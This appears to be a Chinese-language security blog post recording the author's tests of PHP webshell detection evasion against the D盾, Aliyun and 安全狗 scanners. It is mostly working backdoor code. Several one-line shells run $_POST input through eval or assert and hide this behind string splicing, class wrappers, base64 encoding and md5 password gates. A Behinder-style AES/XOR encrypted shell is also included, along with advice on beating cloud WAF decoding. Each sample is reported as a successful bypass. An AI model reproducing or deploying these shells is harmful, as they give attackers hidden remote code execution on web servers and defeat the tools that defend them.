一年前学了免杀但没有做笔记,正巧一师傅开始接触webshell免杀。
索性趁周五摸鱼时间决定复习一下bypass技术
杀软查杀无非就是通过源码的关键特征或是行为特征进行判断。而且按规定,安全工具是需要有指纹的,这也为杀软的检测提供了一定的帮助,所以在此方面删除特征,或进行一些混淆来进行绕过
D盾最主要的还是一个源码的检测。在参数进行编码后危险等级下降,但存在base64_decode
就怀疑。
可以采用:
以下是我fuzz时的一些笔记,不需要的可以直接略读
1.当仅只有此一条语句时eval($d);
可以看到级别为4,它并没有检测参数的变量是否可控
2.当语句中加了一些代码进去混淆,虽然我们可以看到$d不可控,按上面的fuzz,应该为4,但此时为1
$a = $_POST['a']
$b = '1234';
$c = $b.$a;
eval($d);
证明垃圾代码的确干扰了其判断
3.当语句中为真正的拼接可控变量时
<?php
$a = $_POST['a']
$b = '1234';
$c = $b.$a;
eval($c);
?>
用assert试一试
$a = $_POST['a'];
$b = '1234';
$c = $b.$a;
$d = substr($c,4);
assert($d);
仍然是1
证明参数的混淆拼接的确能在一定程度上干扰其判断,并且由于有了实际的功能,导致D盾不在如2点一样,判断为后门,而是变为了可疑
至此,我们的明白,eval()这样的形式,需要参数的传参有足够的复杂,才能进行绕过
4.通过调用类
去bypass
法一:类中接受参数
<?php
class a{
public function test(){
$c= " $_POST[a]";
return $c;
}
}
$c = new a();
$b = $c -> test();
eval($b);
?>
法二:类中执行shell(assert作为关键字,放在$a($b)的形式中仍然敏感,所以需要拼接)
<?php
class test
{
function a($a,$b)
{
$b($a);
}
}
$b = "ass";
$b1 ="ert";
$b = $b.$b1;
$s = new test();
$c = $_POST['a'];
$s -> a($c,$b);
?>
成功bypass D盾
5.之前我们也明白,垃圾代码可以降低其检测能力,所以我们fuzz一下垃圾代码
对D盾的影响
<?php
class test
{
function a()
{
asdf;
}
}
$xs = "asdf";
$b3 = $asdf;
$a1 = $_POST['a'];
$b11 = '1234';
$c1 = $b11.$a1;
$d1 = substr($c1,4);
assert($d1);
?>
成功bypass D盾,上面的垃圾代码对判断造成了影响,经测试发现,我把test类全部注释,也能bypass D盾。
阿里云查杀我觉得最关键的是其会有一个类似动态去调试代码的感觉,专业说法不会说。也就是,一句话木马要放在一个if的密码中
,绕过关键字检测后需要绕过动态的检测
fuzz过程
<?php
$a = $_POST['a'];
$b = '1234';
$c = $b.$a;
$d = substr($c,4);
echo $d;
assert($asdf);
?>
阿里云的语句检测极为严格
<?php
$a='phpinfo()';
assert($a);
?>
该语句下仍然报毒
<?php
assert("asdfadsf");
?>
不报毒
<?php
$a = $_POST['a'];
$b = '1234';
$c = $b.$a;
$d = substr($c,4);
echo $d;
assert("$asdf");
?>
报毒
<?php
$a = "YXNz";
$b = "ZXJ0";
$c = $a.$b;
$c = base64_decode($c);
$d = base64_encode($_POST['a']);
$c(base64_decode($d));
?>
报毒
1.猜测,阿里云只要代码一到assert里参数有$就不大行,且拼接的函数仍然报毒或可能其会按顺序
执行一遍,动态检测。
<?php
$a = "YXNz";
$b = "ZXJ0";
$c = $a.$b;
$c = base64_decode($c);
$d = base64_encode($_POST['a']);
if(md5(@$_GET['a']) =='e10adc3949ba59abbe56e057f20f883e'){
$c(base64_decode($d));
}
?>
bypass成功
只要参数不要直接传,绕一绕就好了
2.但是php7环境下,assert
不再是函数,无法拼接,所以必须要形成
assert()
eval()
结合之前思路
<?php
$d = base64_encode($_POST['a']);
$d = base64_decode($d);
if(md5(@$_GET['a']) =='e10adc3949ba59abbe56e057f20f883e'){
eval($d);
}
?>
成功
<?php
$d = base64_encode($_POST['a']);
if(md5(@$_GET['a']) =='e10adc3949ba59abbe56e057f20f883e'){
assert(base64_decode($d));
}
?>
成功
安全狗查杀与D盾相似,但由于本人电脑装安全狗老是搞崩我网卡驱动,虚拟机镜像目前没有,无法装,只能通过一师傅帮忙检测,针对php7的绕过就没研究。能明确就是D盾的class的方法不大好使了,但是字符串拼接仍然有效
2020.04.09一年后的我装起了安全狗,githubhttps://github.com/xiaopan233/AntSword-Cryption-WebShell
搞了流量混淆得后门,但是核心思路不变,经测试如下即可(中间加注释可绕过安全狗,但是阿里云会检测到,最终加空格绕过)
bypass成功,由于找到了这个插件做了混淆,bypass成功
阿里云
和D盾
的一句话(php7仍然适用版本)结合上面分析,当一下裁缝
<?php
class x{
public function test(){
$c = $_POST['a'];
$b1 = '1234';
$c1 = $b1.$c;
$c = substr($c1,4);
return $c;
}
}
$c = new x();
if(md5(@$_GET['a']) =='e10adc3949ba59abbe56e057f20f883e')
{
eval($c -> test());
}
?>
bypass成功
<?php
class x{
public function test(){
$c = base64_encode($_POST['a']);
$c = base64_decode($c);
return $c;
}
}
$c = new x();
if(md5(@$_GET['a']) =='e10adc3949ba59abbe56e057f20f883e')
{
eval($c -> test());
}
?>
bypass成功
总之,传进去的参数
要绕一绕
assert字符串拼接+if
<?php
class x{
public function test(){
$c = base64_encode($_POST['a']);
$c = base64_decode($c);
return $c;
}
}
$x = new x();
if(md5(@$_GET['a']) =='e10adc3949ba59abbe56e057f20f883e')
{
$a[1] = 'a';
$a[2] = 's';
$a[3] = 's';
$a[4] = 'e';
$a[5] = 'r';
$a[6] = 't';
$k = serialize($a);
$c = unserialize($k);
$g = '';
for ($i = 1; $i <= 6; $i++) {
$g = $g . $c[$i];
}
$c = $x->test();
$g($c);
}
?>
和前面差不多,改一改(2020.04.09)
<?php
session_start();
class a{
public function x($post)
{
return base64_decode($post."");
}
}
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$a1 = new a();
$post=$a1->x($post);
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>
云waf现在一般自带解码功能,一个base64过去是能被解码的,可以写一个编码器,比如把语句base64以后,中间加点1234啥的,让他解码失败。也可以aes加密,如同冰蝎一样。注意一点,删除流量特征
,木马那再做一个流量的解码操作后一切照旧
本文作者:硝基苯
本文链接:https://www.c6sec.com/index.php/archives/291/
最后修改时间:2022-04-09 23:06:00
本站未注明转载的文章均为原创,并采用 CC BY-NC-SA 4.0 授权协议,转载请注明来源,谢谢!